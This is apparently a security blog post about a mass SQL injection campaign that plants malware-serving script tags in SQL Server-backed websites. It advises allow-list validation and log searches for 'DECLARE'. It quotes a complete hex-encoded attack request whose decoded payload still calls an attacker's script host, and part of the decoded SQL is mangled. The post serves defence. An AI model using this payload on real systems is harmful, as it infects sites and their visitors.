A bunch of IT and Web-app teams have lost a lot of sleep lately…
Over the past several days, a significant number (in the thousands) of Web applications, some of them well-known and well-used, have fallen victim to a distributed SQL injection attack that takes advantage of weak or non-existent input validation to inject malicious HTML code that then performs a drive-by malware attack on unsuspecting visitors. Since visitors to your site trust it, if your site has been hacked they are more likely to allow the malware to install on their computer (especially if, for example, the malware is delivered in the form of a browser helper object or something along those lines).
The malware in question appears to steal WoW account information and insert a back-door (trojan) program on PCs it infects (among other things).
Web sites that do not properly validate all input – and by proper I mean trust nothing by default and only allow input that specifically matches what is appropriate – and which run on a Microsoft SQL server back-end (and possibly other database servers that use the same basic table structure) are at risk. I’ve observed Web sites running on both Apache and IIS that have been hacked, the only common thread is SQL server (despite reports to the contrary).
About data validation…
I’ve personally spoken with people from a few companies who have had to contend with the fact that their sites were attacked in this manner over the past several days. In each case, they were utilizing a so-called “black-list” (or “deny-list” to be a little more appropriate) of bad input in their application logic. The problem with black-listing is the cases where you don’t realize something should be on the list, or when new threats emerge. Instead, a white-list (or “allow-list”) methodology requires you to specify what input is allowed. Your application won’t change much over time. The threats will. Deny all by default, it’s the only safe way to go.
You’ll see this in your Web server logs (assuming you are logging, and you sure as heck better be – more on that later):
GET /?';DECLARE%[email protected]%20CHAR(4000);SET%[email protected] S=CAST(0x4445434C41524520405420766172636 8617228323535292C40432076617263686172283 430303029204445434C415245205461626C655F4 37572736F7220435552534F5220464F522073656 C65637420612E6E616D652C622E6E616D6520667 26F6D207379736F626A6563747320612C7379736 36F6C756D6E73206220776865726520612E69643 D622E696420616E6420612E78747970653D27752 720616E642028622E78747970653D3939206F722 0622E78747970653D3335206F7220622E7874797 0653D323331206F7220622E78747970653D31363 729204F50454E205461626C655F437572736F722 04645544348204E4558542046524F4D202054616 26C655F437572736F7220494E544F2040542C404 3205748494C4528404046455443485F535441545 5533D302920424547494E2065786563282775706 4617465205B272B40542B275D20736574205B272 B40432B275D3D5B272B40432B275D2B2727223E3 C2F7469746C653E3C736372697074207372633D2 2687474703A2F2F73646F2E313030306D672E636 E2F63737273732F772E6A73223E3C2F736372697 0743E3C212D2D272720776865726520272B40432 B27206E6F74206C696B6520272725223E3C2F746 9746C653E3C736372697074207372633D2268747 4703A2F2F73646F2E313030306D672E636E2F637 37273732F772E6A73223E3C2F7363726970743E3 C212D2D272727294645544348204E45585420465 24F4D20205461626C655F437572736F7220494E5 44F2040542C404320454E4420434C4F534520546 1626C655F437572736F72204445414C4C4F43415 445205461626C655F437572736F72%20AS%20CHA R(4000));EXEC(@S);HTTP/1.1
Which is a hex-encoded injection that, when translated, creates this SQL statement string (bad-guy address has been removed):
DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['[email protected]+'] set ['[email protected] +']=['[email protected]+']+””>
To search your Web server logs for any offending lines, look for “DECLARE” anywhere in the query string. That’s a dead give-away. You’ll find attacks from various unsurprising countries including North Korea and China (or at least what’s where I have seen them coming from).
How to solve?
If you need a tactical approach to block this particular threat right now while you plan validation improvements, I’d recommend what many people are doing: Monitor all the input with your Web server, and re-write the offending statements to something innocuous. That’s a band-aid, but it can help in the short-term with this one particular need. In addition, you could use application-layer firewalls in from of your Web server/farm to do the same thing. But neither of these approaches would be considered acceptable as a complete or permanent solution. You can certainly keep them in place after an app fix, as part of a layered security approach. But ultimately the site needs to be coded properly and not allow the bad input.
Scrawlr, developed by the HP Web Security Research Group in coordination with the MSRC, is short for SQL Injector and Crawler. Scrawlr will crawl a Web site while simultaneously analyzing the parameters of each individual Web page for SQL Injection vulnerabilities. Scrawlr is lightning fast and uses our intelligent engine technology to dynamically craft SQL Injection attacks on the fly. It can even provide proof positive results by displaying the type of backend database in use and a list of available table names. There is no denying you have SQL Injection when I can show you table names!
If you are dealing with this attack or have related thoughts, please feel free to post in the comments with your experiences.